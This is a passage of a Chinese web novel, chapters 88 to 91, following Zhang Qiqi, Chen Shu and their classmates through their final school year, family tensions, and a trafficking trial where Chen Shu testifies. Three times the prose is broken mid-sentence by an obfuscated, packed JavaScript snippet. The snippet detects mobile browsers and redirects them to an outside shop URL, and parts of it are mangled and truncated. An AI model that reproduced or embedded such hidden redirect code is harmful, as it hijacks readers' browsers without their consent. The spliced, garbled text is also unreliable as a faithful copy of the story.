看着越渐群情激愤的学生,张扬立刻甩锅道,“这是校长的主意!不过……虽然只放两天假,但是周六下午提早一节课放学!” 众人:…… 敢情这是先给一棍子再给一颗甜枣呗…… * 周日,一中门口的公交站挤满了拉着行李箱的高三生,他们在等公交车的同时,还不忘人手一本小本子争分夺秒地学习着…… 张期期、陈恕、林听和许兰亭也在人群之中。 林听原本不打算回去的,林奶奶最近的状态很理想,在教师公寓和同龄退休的老教师们处得也不错,但林奶奶想着太久不回去也不行,毕竟那里到底是她们的家,所以林听才决定和林奶奶回去看看…… “先哥住得近就是好,连公交车都不用坐,直接走路回去了。”张期期说着说着,微微皱起了眉头,“不过,先哥今天一放学人影就不见了,他以前从来都是慢悠悠的啊,不知道有什么事那么急……” 许兰亭闻言大笑起来,肩膀笑得一抖一抖的,“他放学前接了个电话,好像是他妹妹的班主任打给他的,说他妹妹在学校和同学打架了……” “先哥真的是当爹又当妈的啊!”张期期感慨道。 一旁的林听、陈恕深以为然地点点头,特别是陈恕,几乎每天在宿舍都能听到他打电话给继妹,车轱辘话来回说,不是少惹事,就是零食要吃,要多吃饭等等…… 说话间,803路公交车在不远处缓缓降速开过来,停在了公交站台前。 803路,林听回家的直达公交车线。 许兰亭急忙将自己的行李箱推到张期期的脚边,“千万记得把我的行李箱拿回去啊,我晚点去你家拿……”他要送林听和林奶奶回家之后再回去。 他扶着林奶奶的手臂,大喊了一声,“让开让开,老人家优先啊!让我看看是谁这么没素质,敢挤老人家。” 林奶奶&林听:…… 张期期:…… 陈恕:…… 这波操作,公交站台的学生们目瞪口呆,但到底脸皮薄,想要往前冲上车的他们默默地后退了,只等老人家上车之后他们才蜂拥而上。 林听隔着车窗玻璃笑着向站台的陈恕、张期期摆了摆手,二人也挥了挥手以示回应。 公交站台上离开了一波高三生后,还有不少学生在等其他路线的公交车。 张期期环顾四周看了看,眼底露出一丝怀念,“陈恕,你还记得我们高二时有一次遇见过高三生在公交车站等车的那一幕?” 陈恕笑了笑,“嗯,还记得。当时你还问我,将来我们高三的时候会不会像他们一样。” 张期期无语地捂住自己的额头,突然觉得上一年的自己怎么那么傻,这世界上的高三狗起得比鸡早,睡得比狗晚,哪里有不一样的呢?如今他们也成为了高三大军中的一员,随波逐流,大家都是一样的世俗,为了分数。 “别说了……当时不知道哪来的底气觉得自己将来成了高三生还能清新不落俗……” 陈恕忍俊不禁。 …… 一辆奔驰停在了公交站台前,陈恕余光一瞥,确认了车牌号码之后提醒在背英语单词的张期期,道:“期期,李叔到了。” 张期期下意识啊了一声,反应过来后,她收起小本子,笑着道,“那、陈恕我先走啦……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683020|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈恕、李临和张期期一起将两个超大尺寸的行李箱塞入后备箱,张期期关上车门,摇下车窗和陈恕告别,“走啦,拜拜。” “拜拜。” * 一个月没回家,张期期归心似箭,却没注意到一路上过于沉默的李临,对方频频从后视镜里悄悄地观察着张期期的神情。他的眼底闪过挣扎,但最终还是抿着唇没有开口。 ……他不能失去这份工资和福利都不错的工作,家里的孩子明年就要上小学一年级了,他还想着能不能通过先生,让自家孩子上京照一小。 再说了……也不一定就是他想的那样,可能、可能是他想多了,误会了吧?先生和对方免不了有生意上的来往,这其实也正常吧…… 汽车刚刚停在家门口,张期期拉开车门,飞奔着跑进院子里,边喊道:“李叔帮我把行李箱放门口就行。” “好的。期期。”李临在她身后道。 她推开家门,高兴地喊道:“妈——我回来了。” “我回来了……” 咦?人呢?张期期跑上跑下、家里四处找人,不仅她妈不在,莲姨也不在……她满头雾水地站在客厅中间。 恰在此时,大门滴地一声,莲姨买菜回来了。 “呀!是期期回来了?”莲姨惊讶道,昨日周六期期没有回家,她以为这周末肯定也没有回来的,哪里想到居然回来了。 “莲姨,我妈呢?”张期期疑惑问道,她走过去帮着莲姨将买来的鸡蛋和菜分门别类地放进冰箱里。 “太太啊……前阵子太太的朋友生病了,在市中心医院住院,太太这阵子都过去帮忙照看。” “我妈的朋友?”张期期想了想道,“是我张阿姨她们吗?” 她说的是张洁莉她们,毕竟在京照市她妈妈并没有其他朋友,有且仅有的朋友便是上次在剧院认识的阿姨们。 莲姨也不太了解,“应、应该是吧……” “那我爸呢?”张期期又问。 莲姨:“先生这阵子更忙,有时候甚至没有回家呢。” 啊?好吧!难得能回家一趟,居然回家第一眼没见到她爸妈,张期期有些沮丧,草草吃了个饭之后,她便嘱咐莲姨,要是她爸妈回来了就告诉她一声,之后,张期期回了房间。 一直到深夜十二点多,戚和风都没有回来。 张期期原本是想给父母个惊喜,哪知道回到家是这番冰冷的际遇,她想象中“爹疼妈爱”的一幕并没有出现,无奈之下,她终于放弃了给家里人惊喜的打算,打了个电话给她妈。 戚和风接到电话时,手术室的灯还在亮着,“期期,妈妈明天再回去。你张阿姨还在手术中,你黄阿姨她们又要演出,没办法来陪着,只有我有空。” “好吧。妈妈。”张期期打了个哈欠,她听见电话的另一边,是护士在喊话,「张洁莉的家属……」 “期期,妈妈先挂了,你早点睡啊。” 听着电话里传来挂断后的“嘟嘟”声,张期期叹了口气,又打了个电话给张世明。 酒店内,张世明看着手机上显示的号码时愣了愣,眼底闪过一丝复杂。 而刚从浴室里走出来的女人见张世明迟迟不接电话,笑着问,“谁打来的啊,怎么不接?” 女人穿着浴袍,身姿摇曳地走过去,她余光瞥了一眼,期期……哦……原来是世明哥哥的宝贝女儿啊…… 她意味深长地笑了笑,也不再多话,反而拿起吹风筒径直给自己吹干头发。 手机响了许久,最终张世明还是拿了手机,起身走到门外,接通了电话。 「爸……你很忙吗?我打了这么久你才接?」 张世明站在酒店的走廊拐弯处,拐角处是整面弧面的落地窗,窗下车水马龙,闪烁的车灯仿佛闪烁着星光的银河一般。 “期期啊……哦对,是有些事情需要处理。”张世明回答了之后迅速转移话题,“这个点你怎么还没睡?是在学校出什么事了吗?” 「我没在学校……今天放假回家了,本来想给你和妈妈一个惊喜的,没想到你们都不在……」 张世明眉心狠狠皱起,“你妈妈去哪儿啦,怎么也不在?” 她能有什么事?女儿回家也不管……张世明顿生不愉。 闻言,张期期将张阿姨生病住院的事情告诉了对方,张世明漫不经心地听着,等她说完之后嘱咐了两句才挂断电话。 酒店房间内,张雅兰坐在沙发上看着笔记本电脑上的项目,见张世明回来了,她笑了笑道:“项目的计划表和风险评估都发过来了,你也过来看看……” “是吗?这么快。”他走过去坐在她身边,一起看着电脑上的计划表。 张雅兰没有询问他电话的内容,他确实是松了一口气,倒也不是怕,只是对方要是问了,他少不了得应付几句,但这些来往在他看来都是你情我愿、双方利益交往,他实在懒得解释,也不需要解释。 张世明仔仔细细地看了项目计划表、风险评估表后,在心里计较一番之后,发现确实可行,如果他真的能一起加入这个项目的话,张家有望在其他行业上面参与发展。 “还不错吧?我当初也是看这个项目可行,但徐家这边的资金不是很足,所以才想到找世明哥哥的……” 张雅兰微微笑着,她的丈夫徐玉不久前去世了,徐家又几代单传,如今徐家的公司已经被她完全掌控了,当然这也是她多年在公司努力经营的结果。 她又道:“去年过年的时候我本打算找你聊一聊的,没想到你们吃完年夜饭又立刻回了京照,而我回了京照之后又刚好很忙,一直到最近才有空找你。” 张世明闻言,露出了笑容,一声“世明哥哥”倒是让他想起了年少时他们一起上学的过去,不知道怎的,他在这一刻突然冒出一个想法,若是当年他娶的不是戚和风,而是张雅兰呢? 想了想,他又在心里否定了这个念头,张雅兰家其实非常一般,完全比不上张家,只能说有点小钱而已。反倒是如今,嫁给了徐玉的她,掌控了徐家的她才有资本和他合作,站在他身边…… 张世明指尖在女人的身体上摩挲着,他笑了笑,“没事,现在嘛……也是个合适的时间。” 张雅兰顺从着倒在男人的怀里,神色慵懒,意味不明道,“说得对,现在才是好时机啊……” …… 89. 第 89 章 - 周日。 成为高三狗的这一个月,张期期已经养成了新的生物钟,因此天微微亮的时候,她自然而然就醒了。继续睡觉和起来学习这两股思想在她的脑海中挣扎着,最终作为高三生的她,偷懒享乐到底心有不安,只能认命起身往卫生间走去。 洗簌出来之后,她倒了一杯温水喝完,又拍了拍自己的脸颊,让自己清醒一点,便开始埋头学习。 期间张期期偶尔起来走走,或着是喝喝水,一直到上午7点半,窗外晨曦悄然攀爬到她的书桌上时,她才暂时停止了学习,起身伸了个懒腰。 而此时,门外响起了细微的脚步声,随后有人敲了门,叩—— “期期……你醒了吗?早饭可以吃了。”门外是莲姨压低着嗓音说道,昨天晚上她嘱咐了莲姨七点多起来叫她吃饭。 “好的……” 张期期吃完早饭之后,又在客厅坐了一小会,她妈妈都还没有回来。 窗外的骄阳越升越高,大片大片的阳光洒落在地面上,散发着刺眼的光芒,空气燥热不已,秋老虎来势汹汹。 张期期抿了抿唇,看着客厅墙上挂着的电子日历,今天是周日,是她没去学校住校之前,每次去美术培训室上课的日子。 她……今天还要去吗? 张期期想来想去,在客厅转了又转,想到自己交的费用突然理直气壮起来,有什么好犹豫的,她又不是没交钱,有时间干嘛不去! 想到这里,她立刻跑上了五楼房间,将已经收拾好的斜挎大包背在了身上,她指尖攥着包包的带子,长长地叹了一口气。 看……包包都收拾好了,承认吧,她就是想去的。 - 金河湾商都。 张期期攥着斜挎包的带子站在自动扶梯口,她透过玻璃墙看到美术培训室内坐满了学生,老师在教室内走动着,偶尔停下来观摩学生的作品,而属于她的那个位置被放满了东西,颜料、画笔、厚厚的作品像废纸一样堆积在上面。 明明才一个月没来,她却在此时觉得“近乡情怯”。 “期期!!”她身后突然传来惊讶的声音。 张期期下意识地回头,愣愣道,“杨、杨老师……” 美术培训室一共有4名老师,此刻唤张期期名字的是当初招她进培训室的杨嘉老师。 杨嘉十分惊讶,“期期,你来上课吗?怎么不进去?” 张期期顿了顿,点点头,“好。”随后她跟在杨嘉的身后走进了美术培训室。 培训室内的灯光依旧明亮通透,她跟着杨嘉老师进来时,正在绘画的同学们沉浸在自己的作品里面,一个个头也不抬。 室内其他几位老师朝着张期期微微点了点头,示做打了声招呼。 杨嘉老师帮着她将堆积在她位置附近的东西清走,又小声告诉她,这节课的课题是静物色彩,让她照着讲台上摆放的静物进行绘画。 张期期点点头,看了一眼讲台上摆放着的静物后,开始着手调色,进行一系列落笔的之前的准备。 许是一周没有碰过颜料、画笔等等,张期期拿起这些物品时眼神有些恍然,她顿了顿,深吸口气,有条不紊地继续着…… 美术培训室的隔音做得非常好,哪怕坐落在商场里,当关上玻璃门时,室内便只剩下画笔在纸张上摩擦的声音。 一直到中午时,不少人陆陆续续停下了画笔,巡场的老师一个个看过学生们的作品,按照他们笔下的色彩呈现给他们的成绩进行分档。 张期期也停下了画笔,杨嘉老师正站在她的身边看着她的作品。 “你这整张画画面色块和构图安排都挺适当的,色彩比对和调和关系明确,富有美感。总的来说色彩与形体结合得非常好,可得A类得分。” 杨嘉有些遗憾地看着眼前的张期期,她是非常适合走美术这条路的,她本人的色调意识和色感都很好,家里又有资本……但……唉! 听到杨嘉老师这么说,张期期不可抑制地开心起来,“谢谢老师……”她原本以为自己一个月没来,说不定技艺都生疏了。 杨嘉也没再多说,拍了拍她的肩膀后,走到另一位学生的身边帮对方评起分来。 - 中午,张期期又打了个电话给戚和风,得知道她估计要晚上才回来的消息后,便随便在商场找了家汤面店吃饭。 吃过饭之后,她回到了培训室里。 张期期坐在自己的位置上,静静地听着培训室内的同学们一个个或激动或兴奋或忧愁地讨论着各省联考发布的信息,以及历年联考的考试内容。 这些都是她上了高三住校后没有时间、精力和渠道去了解的东西。 此刻,她明明坐在培训室里,手中还攥着画笔,但她却有种被排斥在外的感觉,是心中的奢望让她哪怕学业再繁重,也不愿就此对美术放手,但这一刻,她清晰地感受到自己正在离她的奢望越来越远,且无法抵挡。 意识到这一点之后,张期期背上斜挎大包狼狈地逃离了,她不想继续下午的课了,那只会让她更加意识到自己的无力。 她打了车回到了家里,整个人躺在床上无精打采的,脑子的思绪像一盘浆糊一样,隐秘的期待、不甘交织在一起。 她跑到了阁楼上,一直呆坐到晚上,莲姨上来叫她吃饭,她恍恍惚惚地走下楼梯时,看到饭桌上她爸妈微笑着看着她时,她才瞬间又充满活力起来。 “爸妈——你们回来了!啊,我想死你们了——”张期期跑过去双臂展开,一左一右地揽着他们的脖子。 戚和风微笑道:“别闹了,期期快坐下吃饭。” “好勒。”张期期坐在了父母对面的位置。 一顿晚饭吃得安静又气氛诡异,张期期几次皱眉看向她的父母,然而无论是戚和风还是张世明,都在她看过去的时候面带笑容。 张期期内心七上八下的,又怀疑起自己是不是想太多了…… 而在此时,她将筷子放下后,美术培训室里同学们的议论声犹在耳旁,10月份各省美术联考发布考试内容,11月份各省联考报名,12月联考开始…… 一整个下午那些在她心中奔腾不息的想法此刻仿佛交织成一股强大的力量,促使她头脑一热,下意识地开了口,“爸,我想学美术。” “啪——” 是筷子狠狠拍在桌面上的声音! 张期期一愣,整个人顿时惶惶不安,她的视线从桌面上的筷子慢慢转移到对面张世明的脸上,对方铁青着一张脸,眼底仿佛火山即将要爆发一样。 这一刻,她脑海里的警铃疏忽间开始作响,头皮发麻,一股浓浓的不安感席卷而来,仿佛有什么她尽力维持的平静、安稳、归属就要破碎了。 鬼使神差下,她脱口而出,“没有!我开玩笑的。” 饭桌上一片寂静,好半响,张期期微垂着眼的余光扫到他爸又将筷子拾起,继续慢条斯理地吃起饭时,她心里才缓缓松了一口气,扑腾跳跃的心脏慢慢平复下来…… 算了吧…… 她潜意识里觉得要是她再坚持下去,一定会发生什么她无法面对的事情。 * 十月一号国庆这一天,张家、许家、陆家、杨家像往年一样几家一起聚餐,大人们一桌,孩子们一桌。 张期期因为前一天晚饭时发生的事,导致她有些心不在焉的,便没有发现旁边一桌的大人之间微妙的氛围。 吃过午饭,张期期、许兰亭、陆向川三人一道回校。 教学楼门口,陆向川突然道,“兰亭,我有事和期期说……” “啊?”只背着一个行李包的许兰亭愣了一下,回过神来之后,“啊!哦、哦,好,那……”他看向张期期,试探着继续道,“那我先进去了,你们慢慢说?” 张期期点了点头,“你先进去吧……” “期期……明年一月份我就要离校去美国了,我想问问,你要不要跟我一起去,现在时间还来得及你可以和我一起申请的。”陆向川望着张期期道,少年手心微微攥紧。 “啊?!”张期期愣了一下,只觉得满头雾水。 四目相对,她看见对方眼底的认真和期待,虽然不知道向川为什么突然这么说,但她认真地回答了,“不好意思啊,向川,在我的计划里我从来没想过去国外,我也不喜欢国外,所以我不会去的。” 她说得斩钉截铁,没有一丝一毫的犹豫,陆向川的眼底闪过几许狼狈,虽然心底知道她大约会拒绝,但如此不加思考便拒绝他的行为,还是让他感到难堪。 一时间,他脱口而出,“如果是陈恕呢,你会不会跟他一起出国?” 张期期闻言一滞,张了张口,不知道怎么回答这个问题。 恰在此时,“期期——” 张期期蓦然回头,不远处陈恕拉着行李箱正走过来,他神色淡淡地站在她的身边,朝陆向川点了点头,又看着她,“不去宿舍放行李吗?” 啊……张期期顿了顿,也行吧,上次陈恕给她的毛巾被她遗留在教室里,她晚自修结束后再拿去宿舍洗吧。 “哦,好吧。”张期期道,她笑着看向陆向川,“向川,那……我们先走了。再见。” “好,再见。” 陆向川神色平静地摆了摆手,陈恕在这儿,他自然不可能再追问那个问题。 陈恕将张期期送到了女生宿舍楼门口,随后与她道别,他看着她转身走进去,身影渐渐消失在眼前,陆向川的话在此刻浮现在他的脑海里。 「如果是陈恕呢?你会不会跟他一起出国?」 会不会……这个问题陈恕一点儿都不想听,甚至不敢去听,所以他才喊出她的名字打断了他们之间的谈话。 他清楚地知道期期非常不喜欢国外,而同样喜欢他的期期,难道会为了他而妥协吗?他不敢想,也不愿意去想,甚至觉得不该是这样的…… * 国庆这难得的假期一眨眼就过去了,高三的学生再一次埋头学海之中,在高压的学习氛围之下,每个人都在朝着自己的目标努力前进。 无论是艺术生、体育生还是参加高考的学生抑或是准备出国的学生皆是如此,每个人都有自己的道路。 教室外的长廊无论是上课还是下课,都是安安静静的,偶尔有些学生考在围栏处望着天空透透气、发发呆,这段时间一般都不长,几分钟而已,随后又转身回到教室里埋头学习。 秋老虎的季节一晃而过,连绵的秋雨季也在无数张试卷中悄然逝去。 陈恕、周嘉先和班上的其他几位同学参加了五大学科竞赛的联赛,讲台上张扬宣布了这次联赛,陈恕、周嘉先都有了进决赛的资格。 下课铃声响起,张期期悄悄搬了椅子挪到了陈恕的身旁,她趴在他的桌面上眼帘挑起,笑着低声道:“恭喜你啊,陈恕!” 陈恕抿了抿唇,“嗯……” 张期期见状,坐直起身,她微微皱了皱眉头,探究的视线落在他的脸上,“怎么……你好像不开心?” 陈恕下意识垂眸,眼帘遮住了眼底复杂的情绪,“没有。” 真的没有吗……张期期努了努嘴,一点儿都不信。她转身往后仰,从自己的课桌里摸出来一颗糖果,她撕开包装纸,将糖抵在陈恕的嘴边,轻哄道:“糖果吃一个呗。” 陈恕余光下瞥,好半响,在张期期用糖果再次抵了抵他的嘴边时,他妥协地微微张口,将糖果咬进嘴里,水蜜桃味在口腔里蔓延开来,微微抽痛的额角慢慢平复下来。 因为超忆症,他的大脑失去了遗忘的能力,所以大量的信息在他的脑海里其实是一种非常严重的负担,而糖果能补充他大脑精神的消耗。 张期期见他的脸色没那么难看,心底稍稍松了一口气,她也不再多问,将椅子轻轻搬了回去,继续看着桌面上的试卷出神。 ……快到十一月份了,美术联考要开始报名了吧…… * 步入十一月份,京照市的气温一下子突然猛降了下来,到了月底,今年入冬的第一场雪终于来临。 寒冬时节,昼短夜长,才刚刚下午六点钟,天色已经完全昏暗了下来,橘黄色的路灯洒下暖黄色的光芒,飘飘扬扬的雪花从天而降。 陈恕拎着满满的一桶热水,桶上还倒盖着一个脸盆,从男生宿舍楼拎到了女生宿舍楼门口。 张期期带着浅蓝色的针织帽站在女生宿舍楼门内,她一会儿一会儿地跺着脚,“嘶……冷死了冷死了。” 片刻后她看到陈恕,立刻小跑着迎出去,伸手摸了摸对方的手掌,入手是一片冰凉,她焦急道:“怎么不戴手套,外面很冷的。” 陈恕笑了笑,出门得吃,他一时间忘记了,“没事,一小段路而已,热水我给你拎来了,你快拎上去洗澡吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周嘉先两手揣在上衣兜里,黑色的围巾围得高高地,挡住了大半张脸,他瓮声道:“决赛的成绩已经出来了,你的名次在全国排名里很靠前,保送是没有问题了……” “嗯。我知道。”陈恕神色平静。 周嘉先眼眸中闪过无奈,“那你决定好要申请哪所学校了吗?国内的还是国外的?期……” ……期期呢?她知道吗?这才是他真正想问的,然而话到嘴边时,他瞬间咽了回去,年少的情感与一生道路的选择,于现在的他们来说,他个人觉得并不足以相提并论。 本科是第一学历,第一学历很重要,至少是人生道路的第一道门槛,所以……他不敢贸然开口干扰陈恕的决断,也不敢提张期期的名字。 陈恕闻言,抿了抿唇,眼里闪过无尽的挣扎,最终他望向走廊外的天际,仿佛透过漫天的鹅毛大雪,看见了连绵大山中同他一样被拐卖在挣扎中求生的可怜人。 那位警察的话犹然响彻在他的耳边,这世界上和他一样遭遇的人还有很多很多,妈妈、弟弟……他想用法律这个强大的武器维护这个世界他心中的正义与公平。 “……我心里有打算的。” 周嘉先看了他一眼,认真道:“好,你自己想好就行。” “嗯……” * 洋洋洒洒的大雪断断续续地下了两天,校道上堆积起没到膝盖下方的雪泥,学校的保安、老师、环卫、后勤都在扫雪,力图扫出校道中间的道路让放学的学生顺利回家。 张期期站在窗边看着底下忙碌的人群,寒风吹了她一脸,刷了一天试卷、头晕目眩的她终于清醒了一些。 陈恕将笔压在试卷上,抬眸轻声道:“期期……风太大了,不要这么直接对着吹。” 许兰亭瑟缩着转过头来,不满地嚷了一声,“张期期,把窗关了,你要冻死我吗?” “啊——”张期期指了指楼下道:“我这就关。” 林听:“期期,你在看什么啊?” 张期期笑了笑,指尖挠了挠脸侧,“呀……我只是想起来去年我们在校道下坡路那里集体滑冰!哎呀,有点怀念啊……” 此时已经是下午放学后了,因为楼下校道堆积了雪,不想沾湿鞋袜的高三生选择晚一点等铲掉一些雪后,道路能走了他们再下楼。 重点一班的同学听到了张期期的话,纷纷扒在窗户上往外看,“好像真的铲得差不多了……” “要不……我们下去看看……” “你想干什么?不会想像上一年一样溜去滑雪吧?” “我哪有?你别乱说啊,张老师听到会骂人的!” “……” 话虽这么说,但张期期发现班级里的同学陆陆续续、三三两两、鬼鬼祟祟地离开了教室,她眨了眨眼睛,拉上陈恕、许兰亭、林听和周嘉先一起下楼。 一路上,许兰亭忍不住竖起了大拇指,赞道:“要说谁胆子大,还得是我们期姐!顶风作案啊!” 林听忍俊不禁,但还是劝道:“真的不要紧啊?” 周嘉先、陈恕眼神无奈,不太相信张期期说的,“只是去看看,怀念一下曾经的肆意”这句话。 张期期怒目而视,“你们——” 她话还没说完,便看见前方那群非常眼熟的同学蜂拥而来,然后穿过他们几人的身边迅速跑远了。 诶……诶!这是他们班的同学啊!怎么……怎么…… “我就知道你们这群小崽子不安分!去年就是你们这群人带头的,还真以为我不知道的?” “今年都高三了,你们还敢来……伤筋动骨一百天,你们想耽误学习是不是?”张扬骂骂咧咧地撵在他们班同学的屁股后面。 张期期踮起脚尖,朝被当成滑道的下坡路看了一眼,好家伙!居然给围起来了,还标上了“此路不通”的指示牌! 许兰亭、林听拽住张期期的左右手,许兰亭急着喊:“你还看!张老师快过来了,他要看到我们了,等会儿一定被骂,还不快走。” 隔着人群,张期期与满眼怒火的张扬四目相对,下一刻远远地传来张扬咬牙切齿的声音,“张期期!还想像去年一样在这里开演唱会吗?” 去年唱“小火车嘟嘟嘟”的张期期:…… 她果断转身就溜,“陈恕、先哥……快点,走走走!” 陈恕、周嘉先对视一眼,互相笑了,随后跟上他们班一群人的步伐跑去霸占食堂了。 …… 90. 第 90 章 - 高三的这个寒冬来得快,去得也快,当步入十二月份之后,平安夜、圣诞节、元旦跨年这些节日都与高三生再无任何干系。 除了法定节假日的那几天春节之外,京照一中是能不放假就不放假,恨不得将学生一直绑在学校里无限刷题,课桌上的试卷和学习资料越堆越高,高三生的眼底疲倦越来越沉重。 然而时间是不会停留的,时间的风从冬吹到了春,从冰冷刺骨变得温煦暖和,一转眼就是来年的春三月。 张期期悬浮在半空中的妄想早就随着时间的推移而缓缓寂灭,她没有报名美术联考、没有参加美术联考,联考的成绩也已经发出,今年二月份各校的校考也已经过去了,如今只有老老实实参加高考才是她唯一的出路。 - 春三月,早长鹰飞,暖阳高照。 高三新学期刚开始,重点一班就迎来了对他们班来说是一个噩耗的消息——张扬的脊椎问题更严重了,已经影响到他正常走路了,因此学校让他暂时休假,好好养病。 而重点一班的新班主任则是学校寒假期间从沪上市挖过来的专门带高三生的金牌教师——曾培。 讲台上,四十多岁的曾培带着黑框眼镜,头发浓密,穿着藏青色的长袖衬衫,黑色西裤,黑色皮鞋,面带儒雅的笑容,整个人看起来温和且毫无攻击性。 嗯……和张扬一点儿都不像,光是从外表和形态上,不知道甩了张扬多少条街。 此时,曾培正在进行着自我介绍,“……老师之前是在沪上市教书、定居,但祖籍其实是京照本地……” “接下来的一段时间就由我带着你们一起迎接高考的到来,希望同学们将来都能考出理想的成绩,这也是对你们张扬老师的报答了。好吗?” 重点一班的同学们哗啦啦地鼓起了掌,虽然大家都不习惯新老师且很想念张扬,但张扬生病了,也是没办法的事情,所以在面对新老师的到来,秉持着做人的礼节当然要好好表现,力图给对方留下个好印象,免得因为他们的行为让新老师对张扬老师产生了质疑。 曾培刚好也是教语文的,所以语文这一科目同样由他接手,“同学们,把暑假的试卷拿出来,找到省金中出的那张卷子,我们来评讲一部分……” 教室里,稀稀拉拉地找卷子、翻卷子的声音…… 下课铃声响起,一节课很快就过去了,曾培笑着离开教室后,教室里的一部分同学忍不住长嘘短叹起来。 “啊——我还以为张扬能带着我们一直到高考结束呢,这突然换了个老师,我心里不得劲啊!啊!想念张扬的第一天!” “这也没办法啊,张老师的脊椎问题从我们高一入学的时候就已经知道了,他能坚持这么久也挺不容易的。” “唉!” “唉——” 张期期双手交叠着垫在课桌上,下巴垫在手臂上,她微微侧头望着一旁的陈恕,见他皱着眉头仿佛在沉思什么一样,她担忧地轻声道:“陈恕……你怎么了?有什么事吗?” 陈恕闻声回过头来,目光深沉,他犹豫片刻后道:“下午我要请假半天,有点事……” 至于这个事……他一直在踌躇着要不要告诉期期、兰亭他们,毕竟在当时抓到那两个人贩子的事情,是他们和他一起经历的,或许……也该告诉他们最终的结果? 张期期立刻坐直起身,惊讶道:“请假?!”现在都高三下学期了,如果不是顶破天的事情,谁会请假啊! 许兰亭、林听也纷纷转过身来,问询的目光看向陈恕。 他们一行人的异样,坐得近的周嘉先也皱起眉头,想了片刻,他起身走过去,手搭在陈恕的桌面上,不解地问:“什么事需要请假?还是半天的时间。” 对啊对啊!其余人纷纷附和道。 望着旁边一圈朋友担忧、关切的眼神,陈恕心底微酸,他抿了抿唇,沉默半响后才低声道:“去年我们去滑雪山庄的时候,不是在黑木镇抓到了那两个人贩子吗?” 原来是这件事……张期期、许兰亭、林听和周嘉先面面相觑,接着他们迅速起身拉着椅子围坐在了陈恕的身边,将头凑过去,一副准备密谋什么的样子。 张期期压低声音,近乎轻声道:“我记得这事,你上回说的是警方联合各省开始调查,因为这两人犯下的罪横跨好几个省,所以没那么快能尘埃落定,所以现在是……” “是要判刑了吗?”许兰亭义愤填膺。 “也快一年,警方应该揪着他们的尾巴查到了其他被拐卖的孩子了吧?”林听担忧道。 周嘉先:…… “……你们别吵,听陈恕说!” 他们纷纷闭上嘴,眼巴巴地望着陈恕,陈恕微微一笑,尽量用平静的语气说着,“这么多年了,我已经等得太久太久了。” 此刻,气氛突然一滞,张期期、许兰亭几人都沉默了片刻,是啊!陈恕等得太久太久了! 陈恕突然笑了笑,“人民检察院在去年就已经对那两名人贩子提起公诉,且案卷材料、证据都移送人民法院了,下午就要开庭了,而我是证人。” 证人……张期期紧紧抿唇,陈恕过往的遭遇每一次想起来,她便觉得心底狠狠地抽痛着。 她伸手覆在他的手背上,轻声又坚定地道:“嗯,你就该去,作为证人你要亲眼看着他们被判刑!看着他们得到应有的惩罚!他们必须付出生命的代价!” “我知道。”陈恕垂眼点头道。 许兰亭、周嘉先也拍了拍陈恕的肩膀,一切尽在不言中。 * 人民法院。 端正清肃的法庭上,陈恕坐在证人席上看着两名被告者神色麻木,人民检察院对他们犯下的罪行一条一条地提起公诉。 法官边听着边翻阅着手中的证据材料,时不时地微微点头。 时间一分一秒地过去,陈恕咬着牙梗着脖子坐在证人席上,旁听席上其他受害者的家属提着的心也一直卡着,不上不下的,所有人都在等待最后的判决。 法官沉肃清正的声音正在徐徐讲着我国的各条律令,对被告者犯下的累累罪行进行最公正的判决…… 法槌敲响的那一刻,被告席上的人贩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张期期挤眼弄眼地轻轻碰了碰林听的手臂,小声道:“难道送花真的很奇怪吗?” 提议送花的林听眼神纠结,“……看起来好像、好像是吧?” 她的话音刚落,陈恕突然停住脚步,低着头全身开始颤抖。 张期期&林听&许兰亭&周嘉先:??!! 他们大惊失色,面面相觑,惶惶不安,不是吧?不是吧?陈恕被他们弄哭了…… 林听脸色难看,送花是她提议的,也是……破坏陈恕幸福生活的凶手才刚刚判刑,他肯定没有心思欣赏花,肯定是冒犯到他了,“陈、陈恕……对……”对不起…… “哈哈哈哈哈哈哈哈——” 陈恕突然抬头开心地笑了起来,这一刻仿佛压在他心里的阴霾就此散去,他只觉得压抑的情绪渐渐轻松明快起来。 “靠——吓死我们了。陈恕你这家伙吓唬我们是不是!!”许兰亭跑过去,猛地将手臂架在对方的脖子上。 “啊~你是故意的?”张期期跑过去,抱着陈恕的一条胳膊微微侧首轻斥道。 “抱歉啊……我不是故意的。”陈恕微笑着道。 “你就是故意的!”张期期笑着喊道。 “我也觉得!”许兰亭附和。 他们的身后,周嘉先、林听对视一笑,真好啊……真好…… … 91. 第 91 章 - 社区公墓。 骄阳似火,云卷云舒。放眼望去,一排排的墓碑整齐地竖立在草地上,阳光洒下金色的光芒,墓碑上闪烁着斑驳的光影。 陈恕走在最前面,他的身后隔了一段距离是张期期、许兰亭、林听和周嘉先,几人不远不近地跟着,留给了他一些个人独处的空间。 半响后,陈恕突然站住脚步,停在某块墓碑前,他蹲下身将朋友们送与他,恭祝他新生的百合花放在了母亲的墓碑前。 他满眼眷恋、轻轻地抚摸着冰冷的墓碑,片刻后他微微一笑,声音低沉、缓缓地絮说着生活上的事情,说着学业、学校老师、朋友以及他喜欢的女孩子。 他知道,他们都在他的身后默默看着他。 最后,陈恕只是道:“妈妈,杀害你的凶手已经被判处立即死刑了,他们付出了生命的代价!你一定会高兴的吧!” “妈妈,我一定会找到弟弟的,我会一直一直找下去的。”哪怕他知道其实不太可能了。 他心里隐隐有猜测,弟弟或许早就不在了,因为超忆症……他或许是后天大脑病变才得的这个病症,但他弟弟从小就患有这个病症。 